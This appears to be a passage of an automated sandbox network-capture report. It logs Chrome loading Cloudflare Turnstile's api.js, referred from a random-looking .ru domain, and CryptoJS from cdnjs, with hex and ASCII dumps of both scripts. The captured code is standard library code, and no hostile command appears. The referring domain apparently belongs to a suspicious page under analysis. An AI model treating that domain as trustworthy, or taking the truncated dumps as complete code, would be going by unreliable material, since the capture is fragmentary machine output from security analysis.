2024-12-11 01:08:32 UTC	648	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cj.qhggzzwnpfh.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:32 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:32 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f0195869fda43c8-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:32 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-11 01:08:32 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-11 01:08:32 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-11 01:08:32 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-11 01:08:32 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-11 01:08:32 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-11 01:08:32 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-11 01:08:32 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-11 01:08:32 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-11 01:08:32 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49754	104.17.24.14	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:32 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:33 UTC	962	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:32 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 378067 Expires: Mon, 01 Dec 2025 01:08:32 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l5n4F68Dl8v%2B%2FoqsILgaau3glcGHbvOMg9x1rWO0Tq1J58fii6ph%2FtJd79Nd4l8Knk0r67n%2FLiebxvbbGhDNaJmFaKsAHvbv6fCWzpe6BGXWe5vYxZVOZI0cvjro1CEl0d%2FqSljn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f019589f8ca8c24-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:33 UTC	407	IN	Data Raw: 33 39 37 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 397a!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-11 01:08:33 UTC	1369	IN	Data Raw: 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e Data Ascii: peof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.
2024-12-11 01:08:33 UTC	1369	IN	Data Raw: 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 Data Ascii: ne.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBy
2024-12-11 01:08:33 UTC	1369	IN	Data Raw: 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b Data Ascii: =typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;
2024-12-11 01:08:33 UTC	1369	IN	Data Raw: 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d Data Ascii: or(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]
2024-12-11 01:08:33 UTC	1369	IN	Data Raw: 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c Data Ascii: :0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|
2024-12-11 01:08:33 UTC	1369	IN	Data Raw: 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 Data Ascii: ffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringif
